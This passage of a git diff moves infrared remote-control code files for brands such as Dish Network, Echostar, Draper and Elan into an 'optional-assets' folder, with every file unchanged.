a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,3.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,3.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,3.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,3.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,31.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,31.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,31.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,31.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,4.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,4.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,4.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,4.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,6.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,6.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,6.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,6.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,12.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,12.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,12.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,12.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,3.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,3.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,3.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,3.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,4.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,4.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,4.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,4.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,6.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,6.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,6.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,6.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/16,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/16,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/16,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/16,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/24,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/24,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/24,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/24,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/4,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/4,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/4,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/4,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/8,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/8,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/8,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/8,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Draper/Screen/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Draper/Screen/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Draper/Screen/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Draper/Screen/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Draper/Screen/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Draper/Screen/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Draper/Screen/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Draper/Screen/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/10,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/10,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/10,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/10,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/11,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/11,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/11,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/11,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/25,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/25,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/25,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/25,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/26,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/26,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/26,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/26,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/41,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/41,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/41,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/41,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dwin/Plasma/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Plasma/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dwin/Plasma/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Plasma/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dwin/Projector/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Projector/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dwin/Projector/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Projector/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dwin/TV/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/TV/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dwin/TV/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/TV/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dwin/Video Processor/7,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Video Processor/7,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dwin/Video Processor/7,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Video Processor/7,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dwin/Video Projector/7,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Video Projector/7,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dwin/Video Projector/7,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Video Projector/7,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/E Max/DVD Player/0,223.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/E Max/DVD Player/0,223.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/E Max/DVD Player/0,223.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/E Max/DVD Player/0,223.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/DSS/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/DSS/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/DSS/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/DSS/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/DVR/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/DVR/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/DVR/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/DVR/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/DVR/1,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/DVR/1,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/DVR/1,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/DVR/1,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Dish Network/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Dish Network/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/Dish Network/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Dish Network/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satellite/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satellite/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/1,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satellite/1,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/1,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satellite/1,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/16,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satellite/16,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/16,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satellite/16,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satellite/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satellite/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/DMX/100,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DMX/100,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/DMX/100,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DMX/100,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/DMX/14,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DMX/14,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/DMX/14,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DMX/14,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/DMX/96,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DMX/96,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/DMX/96,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DMX/96,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/DMX/99,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DMX/99,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/DMX/99,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DMX/99,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/HD/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/HD/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/HD/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/HD/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/HD/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/HD/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/HD/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/4,-1.ir similarity index 100% rename from 